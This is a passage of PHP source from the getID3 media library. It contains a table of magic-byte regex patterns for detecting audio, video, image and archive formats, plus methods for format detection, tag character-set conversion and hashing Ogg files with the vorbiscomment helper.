				// AAC  - audio       - Advanced Audio Coding (AAC) - ADIF format
				'adif' => array(
							'pattern'   => '^ADIF',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'audio/aac',
							'fail_ape'  => 'WARNING',
						),

/*
				// AA   - audio       - Audible Audiobook
				'aa'   => array(
							'pattern'   => '^.{4}\\x57\\x90\\x75\\x36',
							'group'     => 'audio',
							'module'    => 'aa',
							'mime_type' => 'audio/audible',
						),
*/
				// AAC  - audio       - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
				'adts' => array(
							'pattern'   => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'audio/aac',
							'fail_ape'  => 'WARNING',
						),


				// AU   - audio       - NeXT/Sun AUdio (AU)
				'au'   => array(
							'pattern'   => '^\\.snd',
							'group'     => 'audio',
							'module'    => 'au',
							'mime_type' => 'audio/basic',
						),

				// AMR  - audio       - Adaptive Multi Rate
				'amr'  => array(
							'pattern'   => '^\\x23\\x21AMR\\x0A', // #!AMR[0A]
							'group'     => 'audio',
							'module'    => 'amr',
							'mime_type' => 'audio/amr',
						),

				// AVR  - audio       - Audio Visual Research
				'avr'  => array(
							'pattern'   => '^2BIT',
							'group'     => 'audio',
							'module'    => 'avr',
							'mime_type' => 'application/octet-stream',
						),

				// BONK - audio       - Bonk v0.9+
				'bonk' => array(
							'pattern'   => '^\\x00(BONK|INFO|META| ID3)',
							'group'     => 'audio',
							'module'    => 'bonk',
							'mime_type' => 'audio/xmms-bonk',
						),

				// DSF  - audio       - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital
				'dsf'  => array(
							'pattern'   => '^DSD ',  // including trailing space: 44 53 44 20
							'group'     => 'audio',
							'module'    => 'dsf',
							'mime_type' => 'audio/dsd',
						),

				// DSS  - audio       - Digital Speech Standard
				'dss'  => array(
							'pattern'   => '^[\\x02-\\x08]ds[s2]',
							'group'     => 'audio',
							'module'    => 'dss',
							'mime_type' => 'application/octet-stream',
						),

				// DSDIFF - audio     - Direct Stream Digital Interchange File Format
				'dsdiff' => array(
							'pattern'   => '^FRM8',
							'group'     => 'audio',
							'module'    => 'dsdiff',
							'mime_type' => 'audio/dsd',
						),

				// DTS  - audio       - Dolby Theatre System
				'dts'  => array(
							'pattern'   => '^\\x7F\\xFE\\x80\\x01',
							'group'     => 'audio',
							'module'    => 'dts',
							'mime_type' => 'audio/dts',
						),

				// FLAC - audio       - Free Lossless Audio Codec
				'flac' => array(
							'pattern'   => '^fLaC',
							'group'     => 'audio',
							'module'    => 'flac',
							'mime_type' => 'audio/flac',
						),

				// LA   - audio       - Lossless Audio (LA)
				'la'   => array(
							'pattern'   => '^LA0[2-4]',
							'group'     => 'audio',
							'module'    => 'la',
							'mime_type' => 'application/octet-stream',
						),

				// LPAC - audio       - Lossless Predictive Audio Compression (LPAC)
				'lpac' => array(
							'pattern'   => '^LPAC',
							'group'     => 'audio',
							'module'    => 'lpac',
							'mime_type' => 'application/octet-stream',
						),

				// MIDI - audio       - MIDI (Musical Instrument Digital Interface)
				'midi' => array(
							'pattern'   => '^MThd',
							'group'     => 'audio',
							'module'    => 'midi',
							'mime_type' => 'audio/midi',
						),

				// MAC  - audio       - Monkey's Audio Compressor
				'mac'  => array(
							'pattern'   => '^MAC ',
							'group'     => 'audio',
							'module'    => 'monkey',
							'mime_type' => 'audio/x-monkeys-audio',
						),


				// MOD  - audio       - MODule (SoundTracker)
				'mod'  => array(
							//'pattern'   => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)', // has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available
							'pattern'   => '^.{1080}(M\\.K\\.)',
							'group'     => 'audio',
							'module'    => 'mod',
							'option'    => 'mod',
							'mime_type' => 'audio/mod',
						),

				// MOD  - audio       - MODule (Impulse Tracker)
				'it'   => array(
							'pattern'   => '^IMPM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'it',
							'mime_type' => 'audio/it',
						),

				// MOD  - audio       - MODule (eXtended Module, various sub-formats)
				'xm'   => array(
							'pattern'   => '^Extended Module',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'xm',
							'mime_type' => 'audio/xm',
						),

				// MOD  - audio       - MODule (ScreamTracker)
				's3m'  => array(
							'pattern'   => '^.{44}SCRM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 's3m',
							'mime_type' => 'audio/s3m',
						),

				// MPC  - audio       - Musepack / MPEGplus
				'mpc'  => array(
							'pattern'   => '^(MPCK|MP\\+)',
							'group'     => 'audio',
							'module'    => 'mpc',
							'mime_type' => 'audio/x-musepack',
						),

				// MP3  - audio       - MPEG-audio Layer 3 (very similar to AAC-ADTS)
				'mp3'  => array(
							'pattern'   => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]',
							'group'     => 'audio',
							'module'    => 'mp3',
							'mime_type' => 'audio/mpeg',
						),

				// OFR  - audio       - OptimFROG
				'ofr'  => array(
							'pattern'   => '^(\\*RIFF|OFR)',
							'group'     => 'audio',
							'module'    => 'optimfrog',
							'mime_type' => 'application/octet-stream',
						),

				// RKAU - audio       - RKive AUdio compressor
				'rkau' => array(
							'pattern'   => '^RKA',
							'group'     => 'audio',
							'module'    => 'rkau',
							'mime_type' => 'application/octet-stream',
						),

				// SHN  - audio       - Shorten
				'shn'  => array(
							'pattern'   => '^ajkg',
							'group'     => 'audio',
							'module'    => 'shorten',
							'mime_type' => 'audio/xmms-shn',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TAK  - audio       - Tom's lossless Audio Kompressor
				'tak'  => array(
							'pattern'   => '^tBaK',
							'group'     => 'audio',
							'module'    => 'tak',
							'mime_type' => 'application/octet-stream',
						),

				// TTA  - audio       - TTA Lossless Audio Compressor (http://tta.corecodec.org)
				'tta'  => array(
							'pattern'   => '^TTA',  // could also be '^TTA(\\x01|\\x02|\\x03|2|1)'
							'group'     => 'audio',
							'module'    => 'tta',
							'mime_type' => 'application/octet-stream',
						),

				// VOC  - audio       - Creative Voice (VOC)
				'voc'  => array(
							'pattern'   => '^Creative Voice File',
							'group'     => 'audio',
							'module'    => 'voc',
							'mime_type' => 'audio/voc',
						),

				// VQF  - audio       - transform-domain weighted interleave Vector Quantization Format (VQF)
				'vqf'  => array(
							'pattern'   => '^TWIN',
							'group'     => 'audio',
							'module'    => 'vqf',
							'mime_type' => 'application/octet-stream',
						),

				// WV  - audio        - WavPack (v4.0+)
				'wv'   => array(
							'pattern'   => '^wvpk',
							'group'     => 'audio',
							'module'    => 'wavpack',
							'mime_type' => 'application/octet-stream',
						),


				// Audio-Video formats

				// ASF  - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio
				'asf'  => array(
							'pattern'   => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C',
							'group'     => 'audio-video',
							'module'    => 'asf',
							'mime_type' => 'video/x-ms-asf',
							'iconv_req' => false,
						),

				// BINK - audio/video - Bink / Smacker
				'bink' => array(
							'pattern'   => '^(BIK|SMK)',
							'group'     => 'audio-video',
							'module'    => 'bink',
							'mime_type' => 'application/octet-stream',
						),

				// FLV  - audio/video - FLash Video
				'flv' => array(
							'pattern'   => '^FLV[\\x01]',
							'group'     => 'audio-video',
							'module'    => 'flv',
							'mime_type' => 'video/x-flv',
						),

				// IVF - audio/video - IVF
				'ivf' => array(
							'pattern'   => '^DKIF',
							'group'     => 'audio-video',
							'module'    => 'ivf',
							'mime_type' => 'video/x-ivf',
						),

				// MKAV - audio/video - Mastroka
				'matroska' => array(
							'pattern'   => '^\\x1A\\x45\\xDF\\xA3',
							'group'     => 'audio-video',
							'module'    => 'matroska',
							'mime_type' => 'video/x-matroska', // may also be audio/x-matroska
						),

				// MPEG - audio/video - MPEG (Moving Pictures Experts Group)
				'mpeg' => array(
							'pattern'   => '^\\x00\\x00\\x01[\\xB3\\xBA]',
							'group'     => 'audio-video',
							'module'    => 'mpeg',
							'mime_type' => 'video/mpeg',
						),

				// NSV  - audio/video - Nullsoft Streaming Video (NSV)
				'nsv'  => array(
							'pattern'   => '^NSV[sf]',
							'group'     => 'audio-video',
							'module'    => 'nsv',
							'mime_type' => 'application/octet-stream',
						),

				// Ogg  - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*))
				'ogg'  => array(
							'pattern'   => '^OggS',
							'group'     => 'audio',
							'module'    => 'ogg',
							'mime_type' => 'application/ogg',
							'fail_id3'  => 'WARNING',
							'fail_ape'  => 'WARNING',
						),

				// QT   - audio/video - Quicktime
				'quicktime' => array(
							'pattern'   => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)',
							'group'     => 'audio-video',
							'module'    => 'quicktime',
							'mime_type' => 'video/quicktime',
						),

				// RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
				'riff' => array(
							'pattern'   => '^(RIFF|SDSS|FORM)',
							'group'     => 'audio-video',
							'module'    => 'riff',
							'mime_type' => 'audio/wav',
							'fail_ape'  => 'WARNING',
						),

				// Real - audio/video - RealAudio, RealVideo
				'real' => array(
							'pattern'   => '^\\.(RMF|ra)',
							'group'     => 'audio-video',
							'module'    => 'real',
							'mime_type' => 'audio/x-realaudio',
						),

				// SWF - audio/video - ShockWave Flash
				'swf' => array(
							'pattern'   => '^(F|C)WS',
							'group'     => 'audio-video',
							'module'    => 'swf',
							'mime_type' => 'application/x-shockwave-flash',
						),

				// TS - audio/video - MPEG-2 Transport Stream
				'ts' => array(
							'pattern'   => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G".  Check for at least 10 packets matching this pattern
							'group'     => 'audio-video',
							'module'    => 'ts',
							'mime_type' => 'video/MP2T',
						),

				// WTV - audio/video - Windows Recorded TV Show
				'wtv' => array(
							'pattern'   => '^\\xB7\\xD8\\x00\\x20\\x37\\x49\\xDA\\x11\\xA6\\x4E\\x00\\x07\\xE9\\x5E\\xAD\\x8D',
							'group'     => 'audio-video',
							'module'    => 'wtv',
							'mime_type' => 'video/x-ms-wtv',
						),


				// Still-Image formats

				// BMP  - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4)
				'bmp'  => array(
							'pattern'   => '^BM',
							'group'     => 'graphic',
							'module'    => 'bmp',
							'mime_type' => 'image/bmp',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GIF  - still image - Graphics Interchange Format
				'gif'  => array(
							'pattern'   => '^GIF',
							'group'     => 'graphic',
							'module'    => 'gif',
							'mime_type' => 'image/gif',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// JPEG - still image - Joint Photographic Experts Group (JPEG)
				'jpg'  => array(
							'pattern'   => '^\\xFF\\xD8\\xFF',
							'group'     => 'graphic',
							'module'    => 'jpg',
							'mime_type' => 'image/jpeg',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PCD  - still image - Kodak Photo CD
				'pcd'  => array(
							'pattern'   => '^.{2048}PCD_IPI\\x00',
							'group'     => 'graphic',
							'module'    => 'pcd',
							'mime_type' => 'image/x-photo-cd',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// PNG  - still image - Portable Network Graphics (PNG)
				'png'  => array(
							'pattern'   => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A',
							'group'     => 'graphic',
							'module'    => 'png',
							'mime_type' => 'image/png',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// SVG  - still image - Scalable Vector Graphics (SVG)
				'svg'  => array(
							'pattern'   => '(<!DOCTYPE svg PUBLIC |xmlns="http://www\\.w3\\.org/2000/svg")',
							'group'     => 'graphic',
							'module'    => 'svg',
							'mime_type' => 'image/svg+xml',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// TIFF - still image - Tagged Information File Format (TIFF)
				'tiff' => array(
							'pattern'   => '^(II\\x2A\\x00|MM\\x00\\x2A)',
							'group'     => 'graphic',
							'module'    => 'tiff',
							'mime_type' => 'image/tiff',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// EFAX - still image - eFax (TIFF derivative)
				'efax'  => array(
							'pattern'   => '^\\xDC\\xFE',
							'group'     => 'graphic',
							'module'    => 'efax',
							'mime_type' => 'image/efax',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Data formats

				// ISO  - data        - International Standards Organization (ISO) CD-ROM Image
				'iso'  => array(
							'pattern'   => '^.{32769}CD001',
							'group'     => 'misc',
							'module'    => 'iso',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
							'iconv_req' => false,
						),

				// HPK  - data        - HPK compressed data
				'hpk'  => array(
							'pattern'   => '^BPUL',
							'group'     => 'archive',
							'module'    => 'hpk',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// RAR  - data        - RAR compressed data
				'rar'  => array(
							'pattern'   => '^Rar\\!',
							'group'     => 'archive',
							'module'    => 'rar',
							'mime_type' => 'application/vnd.rar',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// SZIP - audio/data  - SZIP compressed data
				'szip' => array(
							'pattern'   => '^SZ\\x0A\\x04',
							'group'     => 'archive',
							'module'    => 'szip',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TAR  - data        - TAR compressed data
				'tar'  => array(
							'pattern'   => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}',
							'group'     => 'archive',
							'module'    => 'tar',
							'mime_type' => 'application/x-tar',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GZIP  - data        - GZIP compressed data
				'gz'  => array(
							'pattern'   => '^\\x1F\\x8B\\x08',
							'group'     => 'archive',
							'module'    => 'gzip',
							'mime_type' => 'application/gzip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// ZIP  - data         - ZIP compressed data
				'zip'  => array(
							'pattern'   => '^PK\\x03\\x04',
							'group'     => 'archive',
							'module'    => 'zip',
							'mime_type' => 'application/zip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// XZ   - data         - XZ compressed data
				'xz'  => array(
							'pattern'   => '^\\xFD7zXZ\\x00',
							'group'     => 'archive',
							'module'    => 'xz',
							'mime_type' => 'application/x-xz',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// XZ   - data         - XZ compressed data
				'7zip'  => array(
							'pattern'   => '^7z\\xBC\\xAF\\x27\\x1C',
							'group'     => 'archive',
							'module'    => '7zip',
							'mime_type' => 'application/x-7z-compressed',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Misc other formats

				// GPX - data         - GPS Exchange Format
				'gpx' => array (
							'pattern'   => '^<\\?xml [^>]+>[\s]*<gpx ',
							'group'     => 'misc',
							'module'    => 'gpx',
							'mime_type' => 'application/gpx+xml',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PAR2 - data        - Parity Volume Set Specification 2.0
				'par2' => array (
							'pattern'   => '^PAR2\\x00PKT',
							'group'     => 'misc',
							'module'    => 'par2',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PDF  - data        - Portable Document Format
				'pdf'  => array(
							'pattern'   => '^\\x25PDF',
							'group'     => 'misc',
							'module'    => 'pdf',
							'mime_type' => 'application/pdf',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// MSOFFICE  - data   - ZIP compressed data
				'msoffice' => array(
							'pattern'   => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document
							'group'     => 'misc',
							'module'    => 'msoffice',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TORRENT             - .torrent
				'torrent' => array(
							'pattern'   => '^(d8\\:announce|d7\\:comment)',
							'group'     => 'misc',
							'module'    => 'torrent',
							'mime_type' => 'application/x-bittorrent',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				 // CUE  - data       - CUEsheet (index to single-file disc images)
				 'cue' => array(
							'pattern'   => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents
							'group'     => 'misc',
							'module'    => 'cue',
							'mime_type' => 'application/octet-stream',
						   ),

			);
		}

		return $format_info;
	}

	/**
	 * @param string $filedata
	 * @param string $filename
	 *
	 * @return mixed|false
	 */
	public function GetFileFormat(&$filedata, $filename='') {
		// this function will determine the format of a file based on usually
		// the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG,
		// and in the case of ISO CD image, 6 bytes offset 32kb from the start
		// of the file).

		// Identify file format - loop through $format_info and detect with reg expr
		foreach ($this->GetFileFormatArray() as $format_name => $info) {
			// The /s switch on preg_match() forces preg_match() NOT to treat
			// newline (0x0A) characters as special chars but do a binary match
			if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) {
				$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
				return $info;
			}
		}


		if (preg_match('#\\.mp[123a]$#i', $filename)) {
			// Too many mp3 encoders on the market put garbage in front of mpeg files
			// use assume format on these if format detection failed
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['mp3'];
			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		} elseif (preg_match('#\\.mp[cp\\+]$#i', $filename) && preg_match('#[\x00\x01\x10\x11\x40\x41\x50\x51\x80\x81\x90\x91\xC0\xC1\xD0\xD1][\x20-37][\x00\x20\x40\x60\x80\xA0\xC0\xE0]#s', $filedata)) {
			// old-format (SV4-SV6) Musepack header that has a very loose pattern match and could falsely match other data (e.g. corrupt mp3)
			// only enable this pattern check if the filename ends in .mpc/mpp/mp+
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['mpc'];
			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		} elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) {
			// there's not really a useful consistent "magic" at the beginning of .cue files to identify them
			// so until I think of something better, just go by filename if all other format checks fail
			// and verify there's at least one instance of "TRACK xx AUDIO" in the file
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['cue'];
			$info['include']   = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		}

		return false;
	}

	/**
	 * Converts array to $encoding charset from $this->encoding.
	 *
	 * @param array  $array
	 * @param string $encoding
	 */
	public function CharConvert(&$array, $encoding) {

		// identical encoding - end here
		if ($encoding == $this->encoding) {
			return;
		}

		// loop thru array
		foreach ($array as $key => $value) {

			// go recursive
			if (is_array($value)) {
				$this->CharConvert($array[$key], $encoding);
			}

			// convert string
			elseif (is_string($value)) {
				$array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value));
			}
		}
	}

	/**
	 * @return bool
	 */
	public function HandleAllTags() {

		// key name => array (tag name, character encoding)
		static $tags;
		if (empty($tags)) {
			$tags = array(
				'asf'       => array('asf'           , 'UTF-16LE'),
				'midi'      => array('midi'          , 'ISO-8859-1'),
				'nsv'       => array('nsv'           , 'ISO-8859-1'),
				'ogg'       => array('vorbiscomment' , 'UTF-8'),
				'png'       => array('png'           , 'UTF-8'),
				'tiff'      => array('tiff'          , 'ISO-8859-1'),
				'quicktime' => array('quicktime'     , 'UTF-8'),
				'real'      => array('real'          , 'ISO-8859-1'),
				'vqf'       => array('vqf'           , 'ISO-8859-1'),
				'zip'       => array('zip'           , 'ISO-8859-1'),
				'riff'      => array('riff'          , 'ISO-8859-1'),
				'lyrics3'   => array('lyrics3'       , 'ISO-8859-1'),
				'id3v1'     => array('id3v1'         , $this->encoding_id3v1),
				'id3v2'     => array('id3v2'         , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8
				'ape'       => array('ape'           , 'UTF-8'),
				'cue'       => array('cue'           , 'ISO-8859-1'),
				'matroska'  => array('matroska'      , 'UTF-8'),
				'flac'      => array('vorbiscomment' , 'UTF-8'),
				'divxtag'   => array('divx'          , 'ISO-8859-1'),
				'iptc'      => array('iptc'          , 'ISO-8859-1'),
				'dsdiff'    => array('dsdiff'        , 'ISO-8859-1'),
			);
		}

		// loop through comments array
		foreach ($tags as $comment_name => $tagname_encoding_array) {
			list($tag_name, $encoding) = $tagname_encoding_array;

			// fill in default encoding type if not already present
			if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) {
				$this->info[$comment_name]['encoding'] = $encoding;
			}

			// copy comments if key name set
			if (!empty($this->info[$comment_name]['comments'])) {
				foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) {
					foreach ($valuearray as $key => $value) {
						if (is_string($value)) {
							$value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed!
						}
						if (isset($value) && $value !== "") {
							if (!is_numeric($key)) {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value;
							} else {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][]     = $value;
							}
						}
					}
					if ($tag_key == 'picture') {
						// pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere
						unset($this->info[$comment_name]['comments'][$tag_key]);
					}
				}

				if (!isset($this->info['tags'][$tag_name])) {
					// comments are set but contain nothing but empty strings, so skip
					continue;
				}

				$this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']);           // only copy gets converted!

				if ($this->option_tags_html) {
					foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) {
						if ($tag_key == 'picture') {
							// Do not to try to convert binary picture data to HTML
							// https://github.com/JamesHeinrich/getID3/issues/178
							continue;
						}
						$this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']);
					}
				}

			}

		}

		// pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere
		if (!empty($this->info['tags'])) {
			$unset_keys = array('tags', 'tags_html');
			foreach ($this->info['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					if ($tagname == 'picture') {
						foreach ($tagdata as $key => $tagarray) {
							$this->info['comments']['picture'][] = $tagarray;
							if (isset($tagarray['data']) && isset($tagarray['image_mime'])) {
								if (isset($this->info['tags'][$tagtype][$tagname][$key])) {
									unset($this->info['tags'][$tagtype][$tagname][$key]);
								}
								if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) {
									unset($this->info['tags_html'][$tagtype][$tagname][$key]);
								}
							}
						}
					}
				}
				foreach ($unset_keys as $unset_key) {
					// remove possible empty keys from (e.g. [tags][id3v2][picture])
					if (empty($this->info[$unset_key][$tagtype]['picture'])) {
						unset($this->info[$unset_key][$tagtype]['picture']);
					}
					if (empty($this->info[$unset_key][$tagtype])) {
						unset($this->info[$unset_key][$tagtype]);
					}
					if (empty($this->info[$unset_key])) {
						unset($this->info[$unset_key]);
					}
				}
				// remove duplicate copy of picture data from (e.g. [id3v2][comments][picture])
				if (isset($this->info[$tagtype]['comments']['picture'])) {
					unset($this->info[$tagtype]['comments']['picture']);
				}
				if (empty($this->info[$tagtype]['comments'])) {
					unset($this->info[$tagtype]['comments']);
				}
				if (empty($this->info[$tagtype])) {
					unset($this->info[$tagtype]);
				}
			}
		}
		return true;
	}

	/**
	 * Calls getid3_lib::CopyTagsToComments() but passes in the option_tags_html setting from this instance of getID3
	 *
	 * @param array $ThisFileInfo
	 *
	 * @return bool
	 */
	public function CopyTagsToComments(&$ThisFileInfo) {
	    return getid3_lib::CopyTagsToComments($ThisFileInfo, $this->option_tags_html);
	}

	/**
	 * @param string $algorithm
	 *
	 * @return array|bool
	 */
	public function getHashdata($algorithm) {
		switch ($algorithm) {
			case 'md5':
			case 'sha1':
				break;

			default:
				return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()');
		}

		if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) {

			// We cannot get an identical md5_data value for Ogg files where the comments
			// span more than 1 Ogg page (compared to the same audio data with smaller
			// comments) using the normal getID3() method of MD5'ing the data between the
			// end of the comments and the end of the file (minus any trailing tags),
			// because the page sequence numbers of the pages that the audio data is on
			// do not match. Under normal circumstances, where comments are smaller than
			// the nominal 4-8kB page size, then this is not a problem, but if there are
			// very large comments, the only way around it is to strip off the comment
			// tags with vorbiscomment and MD5 that file.
			// This procedure must be applied to ALL Ogg files, not just the ones with
			// comments larger than 1 page, because the below method simply MD5's the
			// whole file with the comments stripped, not just the portion after the
			// comments block (which is the standard getID3() method.

			// The above-mentioned problem of comments spanning multiple pages and changing
			// page sequence numbers likely happens for OggSpeex and OggFLAC as well, but
			// currently vorbiscomment only works on OggVorbis files.

			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {

				$this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)');
				$this->info[$algorithm.'_data'] = false;

			} else {

				// Prevent user from aborting script
				$old_abort = ignore_user_abort(true);

				// Create empty file
				$empty = tempnam(GETID3_TEMP_DIR, 'getID3');
				touch($empty);

				// Use vorbiscomment to make temp file without comments
				$temp = tempnam(GETID3_TEMP_DIR, 'getID3');
				$file = $this->info['filenamepath'];

				if (GETID3_OS_ISWINDOWS) {

					if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) {

						$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"';
						$VorbisCommentError = shell_exec($commandline);

					} else {

						$VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR;

					}

				} else {

					$commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1';
					$VorbisCommentError = shell_exec($commandline);

				}

				if (!empty($VorbisCommentError)) {

					$this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError);
					$this->info[$algorithm.'_data'] = false;

				} else {

					// Get hash of newly created file
					switch ($algorithm) {
						case 'md5':
							$this->info[$algorithm.'_data'] = md5_file($temp);
							break;

						case 'sha1':
							$this->info[$algorithm.'_data'] = sha1_file($temp);
							break;
					}
				}

				// Clean up
				unlink($empty);
				unlink($temp);

				// Reset abort setting
				ignore_user_abort($old_abort);

			}

		} else {

			if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) {

				// get hash from part of file
				$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm);

			} else {

				// get hash from whole file
				switch ($algorithm) {
					case 'md5':
						$this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']);
						break;

					case 'sha1':
						$this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']);
						break;
				}
			}

		}
		return true;
	}

	public function ChannelsBitratePlaytimeCalculations() {

		// set channelmode on audio
		if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) {
			// ignore
		} elseif ($this->info['audio']['channels'] == 1) {
			$this->info['audio']['channelmode'] = 'mono';
		} elseif ($this->info['audio']['channels'] == 2) {
			$this->info['audio']['channelmode'] = 'stereo';
		}

		// Calculate combined bitrate - audio + video
		$CombinedBitrate  = 0;
		$CombinedBitrate += (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] != 'free') ? $this->info['audio']['bitrate'] : 0);
		$CombinedBitrate += (isset($this->info['video']['bitrate'])                                                ? $this->info['video']['bitrate'] : 0);
		if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) {
			$this->info['bitrate'] = $CombinedBitrate;
		}
		//if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) {
		//	// for example, VBR MPEG video files cannot determine video bitrate:
		//	// should not set overall bitrate and playtime from audio bitrate only
		//	unset($this->info['bitrate']);
		//}

		// video bitrate undetermined, but calculable
